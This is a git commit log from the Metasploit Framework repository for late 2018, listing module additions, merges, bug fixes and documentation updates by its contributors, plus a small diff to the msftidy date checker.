2018-12-06 13:06:50 +00:00
James Barnett
e36e27d91a
Port is optional for HTTP data services
2018-12-05 16:05:09 -06:00
James Barnett
1e57f025d9
Update db_connect help
2018-12-05 14:52:26 -06:00
Christopher Lee
b0560c1ec8
Centralize logging sync, fix minor logging issues
2018-12-05 12:42:44 -06:00
Brendan Coles
25e4c4734f
return nil rather than empty array
2018-12-05 23:44:13 +11:00
Brendan Coles
9d690f4f8c
Add Msf::Post::Linux::Kernel.kernel_config method
2018-12-05 11:19:36 +00:00
Julien Legras
224e782772
Cleaned the create_wp_config_file function
2018-12-05 10:56:22 +01:00
Julien Legras
2774c17ca1
Replaced print_error and return with a fail_with
2018-12-05 10:11:09 +01:00
Thomas Gregory
1bc024eaa7
Update cyberlink_lpp_bof.rb
...
Update includes all suggestions and new targets (Win8.1 x64 and Win10 x64)
2018-12-05 14:53:10 +07:00
Brendan Coles
6040f779c5
Supress 'Permission denied' error in get_suid_files
2018-12-05 00:35:32 +00:00
Matthew Kienow
c7acbc08ab
Land #11058 , fix SSH key displayed by creds cmd
2018-12-04 15:25:51 -06:00
James Barnett
5e29d1206d
Land #11059 , provide meaningful error when workspace doesnt exist
2018-12-04 14:53:43 -06:00
Julien Legras
2735c71bda
Fixed typos, removed not working cleaning
2018-12-04 18:42:54 +01:00
James Barnett
8799c550e1
Parse public and private as correct sub-type
2018-12-04 10:57:54 -06:00
Brent Cook
55a9a12670
Land #10964 , add initial golang modules for enumerating owa/o365
2018-12-04 10:33:37 -06:00
Christopher Lee
3d8ec178da
Remove unecessary run comment
2018-12-04 09:50:01 -06:00
Christopher Lee
60aba5ac44
Remove defunct comment
2018-12-04 09:41:39 -06:00
Brendan Coles
40906e0b36
Add checks to post/linux/gather/enum_protections
2018-12-04 11:57:24 +00:00
Julien Legras
b58342843b
Refactored check
2018-12-04 12:03:49 +01:00
Matthew Kienow
4f08243af9
Raise exception if workspace not found
2018-12-03 17:24:36 -06:00
Matthew Kienow
74a5d816be
Fix parentheses around args of method invocations
2018-12-03 17:19:59 -06:00
Metasploit
eb4b6a6db5
automatic module_metadata_base.json update
2018-12-03 15:17:23 -08:00
asoto-r7
c27c149a4d
Land #10947 , HPE Intelligent Management Center Java Deserialization RCE
2018-12-03 17:07:31 -06:00
asoto-r7
0f82b207c4
hp_imc_java_deserialize: Repro steps for JSONSS ysoserial payload sections
2018-12-03 17:03:04 -06:00
James Barnett
d41f48853a
Use to_s when printing credential private
2018-12-03 16:46:30 -06:00
asoto-r7
3f930ff141
hp_imc_java_deserialize: Default WfsDelay to 10 seconds to increase reliability
2018-12-03 16:36:37 -06:00
Erin Bleiweiss
50c5eeee1d
Land #11056 , Add definitions for Realm objects to the Credential API Doc
2018-12-03 13:22:33 -06:00
Brent Cook
042a793648
Land #11050 , Add protection checks to Msf::Post::Linux::Kernel lib
2018-12-03 13:16:46 -06:00
Metasploit
9e6531d9b1
automatic module_metadata_base.json update
2018-12-03 10:59:10 -08:00
James Barnett
23bbe728c8
Add realm info to creds doc
2018-12-03 12:55:39 -06:00
Brent Cook
6574ceaab8
Land #11053 , Add Openwall detection to Linux system lib
2018-12-03 12:46:36 -06:00
Brent Cook
ffb57387b4
Land #11049 , Add Emacs movemail local exploit
2018-12-03 12:43:56 -06:00
Brent Cook
f51b031aa6
Land #11055 , Bump payloads version to 1.3.54
2018-12-03 12:32:59 -06:00
William Vu
4242de3468
Refactor check method
2018-12-03 12:22:40 -06:00
bwatters-r7
a149137332
Bump payloads to 1.3.54
2018-12-03 12:06:20 -06:00
Metasploit
fd6eb166f2
automatic module_metadata_base.json update
2018-12-03 09:06:44 -08:00
bwatters-r7
df9c3da47e
Land #10842 , Add Windows Post Module to roll back Windows Defender signatures
...
Merge branch 'land-10842' into upstream-master
2018-12-03 10:57:38 -06:00
Christopher Lee
b11bcd92a4
Broken into 3 modules, addressed review comments
2018-12-03 10:25:21 -06:00
Jeffrey Martin
ab1bea1b22
Land #10798 , Cisco device manager update
2018-12-03 01:39:19 -06:00
Brendan Coles
58dde9ff33
Apply suggestions from code review
...
Co-Authored-By: defaultnamehere <defaultnamehere@users.noreply.github.com >
2018-12-03 18:39:07 +11:00
Brendan Coles
344ffb5beb
Land #11054 , Fix tab completion for alias plugin
2018-12-03 07:34:49 +00:00
Green-m
475a869088
Fix issue when tab autocomplete for alias plugin.
2018-12-03 15:03:36 +08:00
Brendan Coles
f2b7036e37
Add Openwall detection to Linux system lib
2018-12-03 06:58:19 +00:00
Alex
f8389d9eb2
Update documentation for post/chrome/gather/cookies
2018-12-03 16:13:47 +11:00
Alex
d0aca05c69
Add post/chrome/gather/cookies module
2018-12-03 16:07:50 +11:00
Brendan Coles
0481cbffe6
Add check for Exec-Shield
2018-12-03 03:51:14 +00:00
Brendan Coles
d87fef5ee3
Add grsec/PaX checks to Msf::Post::Linux::Kernel lib
2018-12-02 08:11:17 +00:00
William Vu
ab8df35645
Add module doc
2018-12-01 12:05:08 -06:00
William Vu
d1220bc170
Add Emacs movemail local exploit
2018-12-01 12:05:08 -06:00
Metasploit
b35f18f060
automatic module_metadata_base.json update
2018-11-30 23:20:28 -08:00
Brendan Coles
48ceeb80db
Land #11046 , Fix Msf::Post::Linux::System.get_hostname to return hostname
2018-12-01 07:11:46 +00:00
Brendan Coles
7912a1f2fc
Land #11044 , Add pretty 'authenticating' message to MS17-010 modules
2018-12-01 07:06:03 +00:00
Brendan Coles
dc125d1dc5
return hostname
2018-12-01 05:20:47 +00:00
bwatters-r7
a801d741c9
Remove old module
2018-11-30 17:28:54 -06:00
bwatters-r7
70031b6721
Shut up msftidy and document updates
2018-11-30 16:41:40 -06:00
bwatters-r7
3c992b7af1
Updated documentation and added options in the module to update or roll back
...
definitions
2018-11-30 16:25:33 -06:00
bwatters-r7
a41b9a77d8
Change the module name, fix cleanup, add documentation
2018-11-30 15:20:34 -06:00
Metasploit
99fa011c35
Weekly dependency update
2018-11-30 12:50:42 -08:00
Christopher Lee
5b926bcbcf
Addressed feedback
2018-11-30 13:18:02 -06:00
Christopher Lee
6225c04b99
Address review feedback, fix bugs
2018-11-30 11:36:39 -06:00
Moshe Kaplan
bd41895fc4
Removed "randomizer"
2018-11-30 09:44:14 -05:00
Brendan Coles
1eeb1005db
Update modules/auxiliary/admin/oracle/oracle_index_privesc.rb
...
Use print_error for errors and print the error details,
Co-Authored-By: moshekaplan <me@moshekaplan.com >
2018-11-30 09:39:57 -05:00
Julien Legras
6874dddc55
Fix space at EOL and sed replace
2018-11-30 15:26:14 +01:00
Julien Legras
a4ee221333
Fixed the timeout for web requests
2018-11-30 14:47:41 +01:00
Jacob Robles
8047bf2b09
Add authenticating... message
2018-11-30 07:24:35 -06:00
Metasploit
a635e36d12
automatic module_metadata_base.json update
2018-11-29 18:17:17 -08:00
Green-m
5cf9e50e3e
Land #11042 , calm down msftidy.
2018-11-30 10:06:12 +08:00
Jacob Robles
b31afb4e3d
Spaces at EOL fixes
2018-11-29 17:29:05 -06:00
Metasploit
e34d2e1393
automatic module_metadata_base.json update
2018-11-29 14:51:55 -08:00
Jacob Robles
fcbc0cddba
Land #11035 , improve fingerprinting for Cisco ASA VPN scanner
2018-11-29 16:41:22 -06:00
Metasploit
7fb0c04360
automatic module_metadata_base.json update
2018-11-29 12:08:37 -08:00
Jacob Robles
dec08a0b43
Land #10954 , apache spark unauth rce module
2018-11-29 13:56:21 -06:00
Metasploit
0f1923fc9a
automatic module_metadata_base.json update
2018-11-29 11:43:11 -08:00
Jacob Robles
88ca775fd3
Land #10952 , WP GDPR Compliance plugin exploit
2018-11-29 13:31:31 -06:00
Julien Legras
160015d3a7
Check the HTTP response first
2018-11-29 18:54:07 +01:00
Julien Legras
984354194f
Check the HTTP response first
2018-11-29 18:49:41 +01:00
bwatters-r7
1304f93f1f
Add more checks and a cleanup function
2018-11-29 10:39:46 -06:00
Jacob Robles
01af176679
Change delay implementation
2018-11-29 10:05:47 -06:00
Jacob Robles
ed6c2896e3
Remove duplicate check
2018-11-29 10:04:51 -06:00
Jacob Robles
8508824cc2
Modify check logic
2018-11-29 10:04:05 -06:00
Jacob Robles
5180ec4cf8
Update documentation
...
Fix headers and remove options output
2018-11-29 08:28:39 -06:00
Julien Legras
2b61c4e118
Fixes for PR
2018-11-29 15:02:03 +01:00
Thomas Gregory
a4c3b8edc7
Add CyberLink LabelPrint < 2.5 - Local Buffer Overflow (SEH Unicode)
...
Add CyberLink LabelPrint < 2.5 - Local Buffer Overflow (SEH Unicode)
2018-11-29 20:20:05 +07:00
Jacob Robles
3de07f1bff
Add Notes metadata and warning
2018-11-29 06:35:37 -06:00
Jacob Robles
bfaa6cb416
Add module suggestion
2018-11-29 06:23:45 -06:00
Green-m
3e571ff71a
Compatible with REG_MULTI_SZ when set value.
2018-11-29 15:47:09 +08:00
Green-m
4888ec0c29
Delete unused variable.
2018-11-29 10:48:25 +08:00
Jacob Robles
6845f44a2e
Logic...
2018-11-28 20:26:27 -06:00
Jacob Robles
2864c30965
Fix fail_with issue
2018-11-28 20:18:03 -06:00
Jacob Robles
9d33891652
Update register descriptions
2018-11-28 19:37:35 -06:00
Jacob Robles
e142f5716e
Update documentation
2018-11-28 19:08:01 -06:00
Jacob Robles
1af7cf2b3b
Update print statements
2018-11-28 18:03:55 -06:00
Jacob Robles
c4959da77f
Email validation and user registration
2018-11-28 17:56:55 -06:00
Jacob Robles
9c0c9b3ba9
Use warnings when changing config options
2018-11-28 17:44:02 -06:00
Jacob Robles
43cef24f6b
Fix version check
2018-11-28 17:43:33 -06:00
Brent Cook
bff261616c
improve fingerprinting for Cisco ASA VPN scanner
2018-11-28 14:30:17 -06:00
Metasploit
cf9bf5934f
automatic module_metadata_base.json update
2018-11-28 09:53:39 -08:00
asoto-r7
504237c77a
Land #10877 , ibm-mq-login username/password checker
2018-11-28 11:36:53 -06:00
asoto-r7
84f0a59fe6
ibm_mq_login: Added support for WebSphere 9 via the PASSWORD option
2018-11-28 11:08:37 -06:00
Green-m
ca0a2684f5
Randomize payload main class.
2018-11-28 11:26:51 +08:00
Metasploit
64c629e75a
automatic module_metadata_base.json update
2018-11-27 18:34:53 -08:00
Brent Cook
b3ad4a0358
Land #11033 , update refs for imap_open vulnerability
2018-11-27 20:23:46 -06:00
h00die
e3e7285288
Land #9946 a UEB local priv escalation
2018-11-27 21:19:34 -05:00
h00die
38a99ac90a
ueb privesc updates
2018-11-27 21:18:05 -05:00
h00die
4af5ab3089
ueb privesc updates
2018-11-27 21:14:05 -05:00
h00die
63125bbc1a
update imap_open refs
2018-11-27 20:31:57 -05:00
Metasploit
bfa2ce124e
automatic module_metadata_base.json update
2018-11-27 15:50:31 -08:00
Wei Chen
d6db5ebdfe
Land #10716 , Create PureVPN Credential Collector Post Explotation Module
2018-11-27 17:42:23 -06:00
Metasploit
4c91985628
automatic module_metadata_base.json update
2018-11-27 15:41:13 -08:00
Wei Chen
aee12fc182
Add documentation for purevpn_cred_collector
2018-11-27 17:40:58 -06:00
William Vu
b26b4820e8
Land #11032 , SMAP check for chocobo_root
2018-11-27 17:31:52 -06:00
Brendan Coles
180876d8fc
Add check for SMAP
2018-11-27 23:24:02 +00:00
Metasploit
71ca1cdd73
Weekly dependency update
2018-11-27 15:04:01 -08:00
bwatters-r7
503a544c17
Merge branch 'master' of github.com:rapid7/metasploit-framework into upstream-master
2018-11-27 16:57:39 -06:00
Metasploit
d26463641f
automatic module_metadata_base.json update
2018-11-27 14:53:35 -08:00
Brent Cook
b05bb616bf
Land #10987 , add exploit for PHP imap_open function against various web apps
2018-11-27 16:44:51 -06:00
Metasploit
7a688b708d
automatic module_metadata_base.json update
2018-11-27 14:33:29 -08:00
Wei Chen
830a80e598
Check -1 user/pass condition and improved exception handling
2018-11-27 16:23:09 -06:00
Brent Cook
66cae6240f
Land #10994 , Added exploit for CVE-2018-18955
2018-11-27 16:12:05 -06:00
Metasploit
bbd1b6df5c
automatic module_metadata_base.json update
2018-11-27 13:09:13 -08:00
Shelby Pace
6712363bb5
Land #10737 , add TeamCity XML-RPC exploit module
2018-11-27 14:59:37 -06:00
Shelby Pace
064c79a4ae
note about cmd_stager flavor
2018-11-27 14:46:19 -06:00
Shelby Pace
56f14733a9
changed cmd_stager flavor to printf
2018-11-27 14:23:56 -06:00
Metasploit
aa80550562
automatic module_metadata_base.json update
2018-11-27 12:11:08 -08:00
Wei Chen
d523124faf
Land #10965 , Add the macOS LPE from pwn2own2018 (CVE-2018-4237)
2018-11-27 14:00:35 -06:00
Brendan Coles
c1722a922f
Fix markdown
2018-11-27 19:43:08 +00:00
Brendan Coles
398987e94a
::File.binread
2018-11-27 18:58:05 +00:00
Brendan Coles
45ca248568
chmod
2018-11-27 18:39:03 +00:00
Brendan Coles
aae86241ef
Update version check
2018-11-27 18:13:29 +00:00
Metasploit
373d3f2ffb
automatic module_metadata_base.json update
2018-11-27 09:31:39 -08:00
William Vu
befca0f2fe
Land #10949 , ForceExploit for Linux local exploits
2018-11-27 11:23:03 -06:00
Brent Cook
d7c1dd91c0
Land #10509 , Add source meta command for shell sessions
2018-11-26 14:27:08 -06:00
Brent Cook
181fc292c2
Land #10861 , Add framework for JSON-RPC and future Sinatra apps
2018-11-26 14:12:08 -06:00
Brent Cook
2cde2e4e21
Land #11017 , Fix userns_enabled? check for unprivileged_userns_clone
2018-11-26 14:07:14 -06:00
Metasploit
4a03009c30
automatic module_metadata_base.json update
2018-11-26 12:01:44 -08:00
Wei Chen
1f2827c3d0
Land #10975 , More Capture Docs
2018-11-26 13:51:57 -06:00
Wei Chen
347efb549c
Fix typos for documentation (postgressql & telnet)
2018-11-26 13:51:13 -06:00
Matthew Kienow
fd75b75c61
Add FrameworkExtension
2018-11-26 13:08:42 -05:00
Matthew Kienow
e144cc6738
Move under Msf::WebServices namespace
2018-11-26 12:58:10 -05:00
Metasploit
1cb23301a6
automatic module_metadata_base.json update
2018-11-26 09:56:13 -08:00
Brent Cook
0fddb8e31c
Land #10768 , Exploit for Netgear CVE-2016-1555
2018-11-26 11:45:10 -06:00
bwatters-r7
14b2cdc120
Land #10886 , Bypassuac computerdefault
...
Merge branch 'land-10886' into upstream-master
2018-11-26 11:19:46 -06:00
Metasploit
a79b936e09
automatic module_metadata_base.json update
2018-11-26 09:08:52 -08:00
Brent Cook
0b6c73a7d4
Land #11019 , Replace WsfDelay with WfsDelay
2018-11-26 10:59:04 -06:00
Brent Cook
cf9a73343f
Land #11027 , revert datastore changes that broke aliases
2018-11-26 10:56:09 -06:00
Metasploit
b97af86413
automatic module_metadata_base.json update
2018-11-26 08:40:14 -08:00
Brent Cook
7b4b573942
Land #9915 , Cleanup and improvements to influxdb_enum
2018-11-26 10:25:07 -06:00
Brent Cook
0678d33760
Revert "ensure a value exists before returning the normalized key"
...
This reverts commit 063838fb17 .
2018-11-26 10:10:07 -06:00
Brent Cook
a98dbd1d61
Revert "Return the original key if it does not exist in the datastore"
...
This reverts commit 7312fa774f .
2018-11-26 10:10:07 -06:00
Green-m
251fe6a8c5
Land #11020 , update php reverse_tcp payload doc.
2018-11-26 18:09:46 +08:00
h00die
e2d58afe13
cleaned up code, added custom
2018-11-25 10:59:53 -05:00
Brendan Coles
5c06cdca73
Replace WsfDelay with WfsDelay - Fixes #11018
2018-11-25 05:09:16 +00:00
Metasploit
b5700beee4
automatic module_metadata_base.json update
2018-11-24 20:59:34 -08:00
Brendan Coles
be6cfde921
Land #11015 , Fix payload and console check for Xorg_privesc Linux targets
2018-11-25 04:51:27 +00:00
Alex Maestretti
a69870a85c
Update php reverse_tcp instructions
...
Added the full set of commands to set up a listener to the instructions to make it easier for first time users.
2018-11-24 20:43:11 -08:00
Aaron Ringo
93db7b399f
Using Wfsdelay instead of sleep loop, users get shells ASAP
2018-11-24 22:26:04 -06:00
Brendan Coles
debf79416b
Replace WsfDelay with WfsDelay - Fixes #11018
2018-11-25 04:22:11 +00:00
Brendan Coles
01ed57cbb3
Remove check for nosuid
2018-11-25 01:53:07 +00:00
Brendan Coles
8f07f299b4
Fix userns_enabled? check for unprivileged_userns_clone
2018-11-25 01:26:49 +00:00
Metasploit
c7b85062f6
automatic module_metadata_base.json update
2018-11-24 17:12:04 -08:00
Brendan Coles
8b719b823e
Land #11011 , Fix capitalization of datastore option
2018-11-25 01:13:32 +00:00
Brendan Coles
f0999e3a7e
Add documentation
2018-11-25 00:54:58 +00:00
Brendan Coles
5c1399daa1
Add musl-cross cross-compiled executables
2018-11-25 00:53:55 +00:00
Brendan Coles
ff23a006b7
cleanup
2018-11-25 00:16:39 +00:00
Aaron Ringo
1783617770
consolelock check updated to use id, payload upload changed, documentation updated, misc formatting
2018-11-24 15:10:21 -06:00
h00die
945755b058
add custom php_imap target
2018-11-24 14:18:13 -05:00
h00die
45f2c5beb2
update php_imap_open docs
2018-11-24 07:26:42 -05:00
h00die
e36cef3b96
e107 exploitable now
2018-11-23 20:16:53 -05:00
L
f4cbdc8e3e
No Threads in datastore
2018-11-23 17:15:33 +08:00
Green-m
e04cf24b47
Land #11003 , fix smb login scanner failure.
2018-11-23 13:54:07 +08:00
Metasploit
691546334a
automatic module_metadata_base.json update
2018-11-22 21:50:37 -08:00
William Vu
a9adf6f5a4
Land #11006 , misc. fixes for morris_fingerd_bof
2018-11-22 23:39:13 -06:00
William Vu
8a402da056
Explain "junk" in buffer for morris_fingerd_bof
...
And unrelated whitespace changes because I suck.
2018-11-22 23:15:12 -06:00
Moshe Kaplan
0a2c0751fa
Randomize more
2018-11-22 15:25:51 -05:00
Metasploit
f2f5b3c8fa
Weekly dependency update
2018-11-22 10:07:55 -08:00
Brent Cook
847e630630
ensure incoming creds are all UTF-8
2018-11-22 09:20:12 -06:00
Brent Cook
e07e5caebd
don't do a binary regex against a regular string
2018-11-22 09:19:38 -06:00
Brent Cook
cdc9c24f6d
don't try to close a nil connection in smb login scanner mixin
2018-11-22 05:02:17 -06:00
Metasploit
8fe37fe053
automatic module_metadata_base.json update
2018-11-21 18:32:22 -08:00
Brent Cook
a59913434d
Land #10916 , Xorg SUID privesc
2018-11-21 19:46:11 -06:00
Brent Cook
8694d6dd19
Land #10990 , move metasploit web service code
2018-11-21 16:49:56 -06:00
Metasploit
3c0e774283
automatic module_metadata_base.json update
2018-11-21 14:45:32 -08:00
Brent Cook
5d9195fe72
Land #10981 , start printjob docs and bug fixes
2018-11-21 16:35:02 -06:00
Brent Cook
77723ba2f8
Land #11002 , Support Python 3.7 in external probe scanner code
2018-11-21 16:23:34 -06:00
Brent Cook
5fed559264
Land #10997 , Remove harmful default command to execute
2018-11-21 16:19:40 -06:00
Brent Cook
682ebdc234
Land #11001 , Properly error out when attempting to format ELFs
2018-11-21 16:13:40 -06:00
asoto-r7
96ede80dc4
Land #10876 , ibm_mq_enum: IBM WebSphere MQ Name and Version Enumeration
2018-11-21 16:10:59 -06:00
asoto-r7
a3131f15de
ibm_mq_enum: Code cleanup, server channel and general exception handling improvements
2018-11-21 16:09:18 -06:00
Adam Cammack
317f71f7f4
Land #10802 , Make msfvenom -f case-insensitive
2018-11-21 16:04:30 -06:00
Brent Cook
c9f8a591e5
Land #10872 , Add --pad-nops option for msfvenom
2018-11-21 16:02:02 -06:00
Adam Cammack
44da31edb8
Support Python 3.7 in external probe scanner code
2018-11-21 15:06:54 -06:00
Adam Cammack
818c3c9f57
Properly error out when attempting to format ELFs
2018-11-21 14:57:37 -06:00
Adam Cammack
230ae70028
Land #11000 , fix DB import error messages
2018-11-21 14:52:17 -06:00
Adam Cammack
188d94027c
Land #10996 , Check check code for ms15-034
2018-11-21 14:45:56 -06:00
Jeffrey Martin
1eb4a79410
adjust error message on impart
2018-11-21 14:42:48 -06:00
Adam Cammack
785e8d909d
Land #10998 , Unregister datastore aliases properly
2018-11-21 14:35:08 -06:00
Brent Cook
7312fa774f
Return the original key if it does not exist in the datastore
2018-11-21 06:03:50 -06:00
Brent Cook
063838fb17
ensure a value exists before returning the normalized key
2018-11-21 04:43:06 -06:00
Brent Cook
da9e6edbf1
delete option aliases when an option is deleted
...
Otherwise the aliases will remain active and if the aliased value is redefined
2018-11-21 04:09:33 -06:00
David Yates
e706e2b58d
Remove harmful default command to execute
2018-11-21 11:09:13 +02:00
Patrick
30bf716827
Use --pad-nops as a boolean to make -n <size> the total payload size.
2018-11-20 23:26:03 -06:00
L
ae3538952a
Fix ms15-034 module
2018-11-21 12:31:56 +08:00
Green-m
2197da4cd9
Fix code as jrobles suggest.
2018-11-21 11:24:50 +08:00
h00die
acf421ffb0
remove eol spaces
2018-11-20 19:45:17 -05:00
h00die
31ad58fb91
edb and author
2018-11-20 19:30:43 -05:00
h00die
4111a61e1a
fix module description
2018-11-20 18:35:20 -05:00
h00die
4c59a271e2
added suitecrm to imap_open exploit
2018-11-20 18:33:42 -05:00
asoto-r7
7084538b8c
ibm_mq_channel_brute: Exception handling when channel.length > 20 chars
2018-11-20 16:24:17 -06:00
asoto-r7
d2a5b966f3
Land #10875 , IBM WebSphere MQ Channel Name Bruteforce auxiliary module
2018-11-20 16:23:23 -06:00
Shelby Pace
288d78d372
Land #10352 , Add check/response for CVE-2017-12149
2018-11-20 13:11:05 -06:00
Brent Cook
d5d8216377
Land #10977 , Add documentation and some enhancement to freesshd_authbypass module
2018-11-20 11:44:49 -06:00
Brent Cook
bccb0972cf
Land #10984 , don't examine a nil object in ms15_034_ulonglongadd
2018-11-20 08:37:48 -06:00
Shelby Pace
679a9cf1ae
Land #10558 , Add IIS ShortName Scanner module
2018-11-20 08:26:29 -06:00
Brent Cook
273cc68155
Land #10992 , fix loadpath test/modules
2018-11-20 08:19:59 -06:00
Shelby Pace
63a2396626
updated testing branch to branch off master
2018-11-20 08:14:19 -06:00
Brendan Coles
eb17c45000
Add Linux Nested User Namespace idmap Limit Local Privilege Escalation module
2018-11-20 14:10:28 +00:00
Brendan Coles
fc190d4d36
Update documentation/modules/auxiliary/scanner/http/iis_shortname_scanner.md
...
Co-Authored-By: egre55 <34132245+egre55@users.noreply.github.com >
2018-11-20 11:14:16 +00:00
Brendan Coles
ea3c73a442
Update documentation/modules/auxiliary/scanner/http/iis_shortname_scanner.md
...
Co-Authored-By: egre55 <34132245+egre55@users.noreply.github.com >
2018-11-20 11:13:59 +00:00
Brendan Coles
27db84413d
Update documentation/modules/auxiliary/scanner/http/iis_shortname_scanner.md
...
Co-Authored-By: egre55 <34132245+egre55@users.noreply.github.com >
2018-11-20 11:13:48 +00:00
Brendan Coles
69b18d22df
Update documentation/modules/auxiliary/scanner/http/iis_shortname_scanner.md
...
Co-Authored-By: egre55 <34132245+egre55@users.noreply.github.com >
2018-11-20 11:13:27 +00:00
Brendan Coles
901b51f247
Update modules/auxiliary/scanner/http/iis_shortname_scanner.rb
...
Co-Authored-By: egre55 <34132245+egre55@users.noreply.github.com >
2018-11-20 11:13:17 +00:00
Brendan Coles
6c382ba711
Update modules/auxiliary/scanner/http/iis_shortname_scanner.rb
...
Co-Authored-By: egre55 <34132245+egre55@users.noreply.github.com >
2018-11-20 11:13:05 +00:00
Brendan Coles
5e513b209d
Update modules/auxiliary/scanner/http/iis_shortname_scanner.rb
...
Co-Authored-By: egre55 <34132245+egre55@users.noreply.github.com >
2018-11-20 11:12:51 +00:00
Tim W
3829cc11bb
add DEBUG_EXPLOIT option
2018-11-20 17:58:36 +08:00
Tim W
57bad6b213
move offsets to hash
...
fix
2018-11-20 17:58:34 +08:00
Green-m
9884bea84e
Update the reference link.
2018-11-20 17:39:01 +08:00
Green-m
9f573d6f27
Fix code as jrobles suggest.
2018-11-20 16:54:22 +08:00
Tim W
bee3c3d4d3
add documentation
2018-11-20 16:53:34 +08:00
Tim W
0649ad9876
add documentation
2018-11-20 16:09:18 +08:00
Tim W
43c1e6308e
add binary
2018-11-20 15:59:23 +08:00
Tim W
44b1b6fe31
fix forking
2018-11-20 15:58:55 +08:00
Tim W
488104fbde
fix loadpath test/modules
2018-11-20 14:29:36 +08:00
Matthew Kienow
4cc9959e3f
Move MSF API App and associated servlets
...
The modules interact with the DbManager, however, are not a part of it
and belong in a more meaningful location for web services.
2018-11-19 18:46:15 -05:00
Brent Cook
630de06f9e
Land #10972 , Rework session_compatible? check in post mixin, excluding ARCH_CMD modules
2018-11-19 16:08:15 -06:00
Shelby Pace
52df29ebcc
test on branch off master
2018-11-19 15:08:38 -06:00
Brent Cook
8c200908ce
Land #10989 , Coerce DisablePayloadHandler into a Boolean string
2018-11-19 13:26:02 -06:00
William Vu
6d317baada
Coerce DisablePayloadHandler into a Boolean string
...
Due to discrepancies in how command dispatchers receive datastore
options, especially after a "save" of the console, Boolean values are
stored as strings.
This is a quick fix for DisablePayloadHandler specifically, since it was
driving me insane.
2018-11-19 13:18:15 -06:00
Brent Cook
509e1c2587
Land #10973 , Rework DisclosureDate check in msftidy, including ISO 8601 support
2018-11-19 10:46:18 -06:00
h00die
a28feed7d8
fix normalize and date
2018-11-19 04:00:58 -05:00
Shaksham Jaiswal
d904b93ec9
fixed is_vul
2018-11-19 13:39:08 +05:30
h00die
aca3f44c9b
fix markdown formatting
2018-11-18 21:38:25 -05:00
h00die
4b09584047
php_imap_open_rce
2018-11-18 21:28:19 -05:00
egre55
4a22656005
fixes
2018-11-18 21:56:51 +00:00
egre55
8b63c85bd2
fixes
2018-11-18 21:21:28 +00:00
Brendan Coles
467e0877f5
res.code
2018-11-18 12:40:09 +00:00
h00die
7ecdaa09c5
start printjob docs and bug fixes
2018-11-17 21:17:12 -05:00
Imran E. Dawoodjee
b679bfa3d9
Carriage return errors fixed.
2018-11-18 03:29:17 +08:00
Imran E. Dawoodjee
fd0f40a141
Add PowerShell as a separate target then set it as default.
2018-11-18 03:20:48 +08:00
Carsten Maartmann-Moe
eab26a04c3
Added documentation
2018-11-17 09:55:41 +01:00
Erin Bleiweiss
fd3ece3f9b
Land #10956 , Use new 'data_service_operation' block in 'DataProxy' modules
2018-11-16 17:24:00 -06:00
Carsten Maartmann-Moe
cbdcd367ee
Minor print out mod
2018-11-16 20:31:34 +01:00
christopher lee
2deaf198b3
Added module docs
2018-11-16 13:29:22 -06:00
William Vu
2b231d33e5
Add comment clarifying why we need the day for ISO
2018-11-16 13:25:01 -06:00
Brendan Coles
6f094799b6
Update modules/exploits/windows/http/hp_imc_java_deserialize.rb
...
Print payload length
Co-Authored-By: carmaa <carsten@carmaa.com >
2018-11-16 20:20:52 +01:00
Brendan Coles
709befea5c
Update modules/exploits/windows/http/hp_imc_java_deserialize.rb
...
Fixed if/else block return
Co-Authored-By: carmaa <carsten@carmaa.com >
2018-11-16 20:19:23 +01:00
William Vu
4726c58516
Update documentation
2018-11-16 12:40:42 -06:00
William Vu
90b9204703
Update DisclosureDate to ISO 8601 in my modules
...
Basic msftidy fixer:
diff --git a/tools/dev/msftidy.rb b/tools/dev/msftidy.rb
index 9a21b9e398..e9ff2b21e5 100755
--- a/tools/dev/msftidy.rb
+++ b/tools/dev/msftidy.rb
@@ -442,6 +442,8 @@ class Msftidy
# Check disclosure date format
if @source =~ /["']DisclosureDate["'].*\=\>[\x0d\x20]*['\"](.+?)['\"]/
d = $1 #Captured date
+ File.write(@full_filepath, @source.sub(d, Date.parse(d).to_s))
+ fixed('Probably updated traditional DisclosureDate to ISO 8601')
# Flag if overall format is wrong
if d =~ /^... (?:\d{1,2},? )?\d{4}$/
# Flag if month format is wrong
2018-11-16 12:18:28 -06:00
William Vu
2302acaab7
Accept ISO 8601 DisclosureDate with compatibility
...
Zalgo.
2018-11-16 12:03:01 -06:00
William Vu
f25d7dbaa8
Revert Date.parse check for DisclosureDate
...
An approximation of https://en.wikipedia.org/wiki/Robustness_principle .
2018-11-16 11:48:44 -06:00
William Vu
d65ba41e31
Use non-greedy regex against DisclosureDate
...
Zalgo. He comes.
wvu@kharak:~/metasploit-framework:bug/msftidy$ tools/dev/msftidy.rb modules/exploits/unix/webapp/jquery_file_upload.rb
"Oct 9 2018', # Larry"
wvu@kharak:~/metasploit-framework:bug/msftidy$
2018-11-16 11:40:12 -06:00
William Vu
3dd47b34b0
Rework DisclosureDate check to match core code
...
Framework core uses Date.parse, so many date formats are valid.
There is no reason we shouldn't be using ISO 8601 dates.
2018-11-16 11:05:47 -06:00
Imran E. Dawoodjee
0edd3a9138
Fixed numbering error in documentation.
2018-11-16 21:34:05 +08:00
Imran E. Dawoodjee
08b3efa046
Enhanced module and added documentation.
2018-11-16 21:18:45 +08:00
William Vu
1e3515bddc
Clean up code
2018-11-16 05:04:54 -06:00
William Vu
a58a91613a
Exclude ARCH_CMD modules, not local exploits
...
We don't want to lose SessionTypes. Brain fart.
2018-11-16 05:00:17 -06:00
Aaron Ringo
a174c606aa
Changed SELINUX check to use built in methods
2018-11-16 04:22:18 -06:00
William Vu
a30403dbfe
Improve DisclosureDate regex
2018-11-16 03:46:51 -06:00
Brent Cook
8be53f8730
Land #10971 , Fix extraneous whitespace in check output
2018-11-16 03:38:32 -06:00
Brendan Coles
277ed375d6
Ensure peer_msg falls back on an empty string
...
Co-Authored-By: wvu-r7 <wvu-r7@users.noreply.github.com >
2018-11-16 03:30:52 -06:00
Brent Cook
ab880ec84d
Land #10969 , Fix db_connect issue when re-establishing DB connection
2018-11-16 03:21:31 -06:00
William Vu
02bb2d45d3
Make day in DisclosureDate optional for msftidy
...
Defaults to the first day of the month.
2018-11-16 03:00:39 -06:00
William Vu
b60ae0ff1a
Limit session_compatible? check to post modules
...
Local exploits may define a different payload platform or arch.
2018-11-16 02:59:59 -06:00
William Vu
eb90fc74a1
Fix extraneous whitespace in check output
...
Death to the peer gods.
2018-11-16 02:59:36 -06:00
Matthew Kienow
691b9276a6
Fix issue when re-establishing DB connection
2018-11-15 21:00:19 -05:00
h00die
189f29e534
